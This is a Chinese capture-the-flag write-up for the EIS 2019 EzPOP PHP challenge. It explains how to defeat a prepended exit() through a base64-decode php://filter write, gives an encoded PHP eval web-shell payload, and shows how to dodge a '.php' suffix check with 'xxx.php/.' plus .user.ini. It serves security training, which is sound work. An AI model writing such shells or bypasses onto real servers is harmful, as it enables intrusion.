刷题记录:[EIS 2019]EzPOP

目录

  • 刷题记录:[EIS 2019]EzPOP
  • 知识点
    • 编码写shell绕过
    • base64工作机制
    • 绕过后缀名检查

刷题记录:[EIS 2019]EzPOP

题目复现链接:https://buuoj.cn/challenges

知识点

编码写shell绕过

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

file_put_contents是支持各种协议的,这样就可以将base64编码过的shell传入$data,使用php://filter/write=convert.base64-decode/resource=写入文件

base64工作机制

首先base64只包含[a-zA-Z1-9]+/共64个字符

  • 编码时
    把明文每8位按6位查表转码,不足的位数用=补0
  • 解码时
    忽略[",:等64个字符之外的字符,然后逆运算就行

本题中json_encode后的payload是
["11",{"aa":{"path":"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"}}]
其中11aa位置是可控的,去掉无效字符后,payload为
11aapath PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
这里是6位查表转8位,所以要求编码为4的倍数

绕过后缀名检查

红包题中,增加了判断条件

if(substr($cache_filename, -strlen('.php')) === '.php') {
        die('?');
}

这里可以在文件名后面加/.,即设置文件名为xxx.php/.
这里我是配合.user.inigetshell的

原文地址:https://www.cnblogs.com/20175211lyz/p/12241003.html

时间: 2024-11-05 17:20:08

刷题记录:[EIS 2019]EzPOP的相关文章

scoi刷题记录(2019/04/07)

scoi2005 繁忙的都市 扫雷 互不侵犯 scoi2006 zh_tree scoi2007 排列 scoi2009 最长距离 生日礼物 scoi2010 幸运数字 scoi2011 糖果 scoi2012 喵星球上的点名 原文地址:https://www.cnblogs.com/Achensy/p/10664044.html

刷题记录:[SUCTF 2019]EasySQL (欠)

目录 刷题记录:[SUCTF 2019]EasySQL 刷题记录:[SUCTF 2019]EasySQL 原文地址:https://www.cnblogs.com/20175211lyz/p/11450409.html

刷题记录:[SUCTF 2019]Pythonginx

目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录:[SUCTF 2019]Pythonginx 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 SUCTF wp SUCTF_2019_部分复现 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 https://bugs

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

刷题记录:[De1CTF 2019]Giftbox &amp;&amp; Comment

目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 刷题记录:[De1CTF 2019]Giftbox && Comment 题目复现链接:https://buuoj.cn/challenges 参考链接:De1CTF Web WriteUp BUUCTF平台 web writeup 第三弹 一.知识点 1.sql注入 && t

刷题记录:[安洵杯 2019]easy_serialize_php

目录 刷题记录:[安洵杯 2019]easy_serialize_php 知识点 PHP反序列化 刷题记录:[安洵杯 2019]easy_serialize_php 题目复现链接:https://buuoj.cn/challenges 参考链接:第二届安洵杯2019部分writeup 知识点 PHP反序列化 payload为_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==&quo

刷题记录:[GWCTF 2019]我有一个数据库

目录 刷题记录:[GWCTF 2019]我有一个数据库 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 刷题记录:[GWCTF 2019]我有一个数据库 题目复现链接:https://buuoj.cn/challenges 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 cve-2018-12613-PhpMyadmin后台文件包含 影响版本:4.8.0--4.8.1 payload:/phpmyadmin/?target=db

刷题记录:[RCTF 2019]Nextphp

目录 刷题记录:[RCTF 2019]Nextphp 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir php_exec 刷题记录:[RCTF 2019]Nextphp 题目复现链接:https://buuoj.cn/challenges 参考链接:RCTF 2019 Web Writeup 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir 看文档https://wiki.php.ne

刷题记录:[ByteCTF 2019]BabyBlog

目录 刷题记录:[ByteCTF 2019]BabyBlog 知识点 二次注入+堆叠注入 php 00截断 preg_replace/e参数RCE 管道解题读flag 刷题记录:[ByteCTF 2019]BabyBlog 题目复现链接:https://buuoj.cn/challenges 参考链接:https://eustiar.com/archives/576 ByteCTF 2019 Writeup - 天枢 知识点 二次注入+堆叠注入 注入点在edit的title ';[email p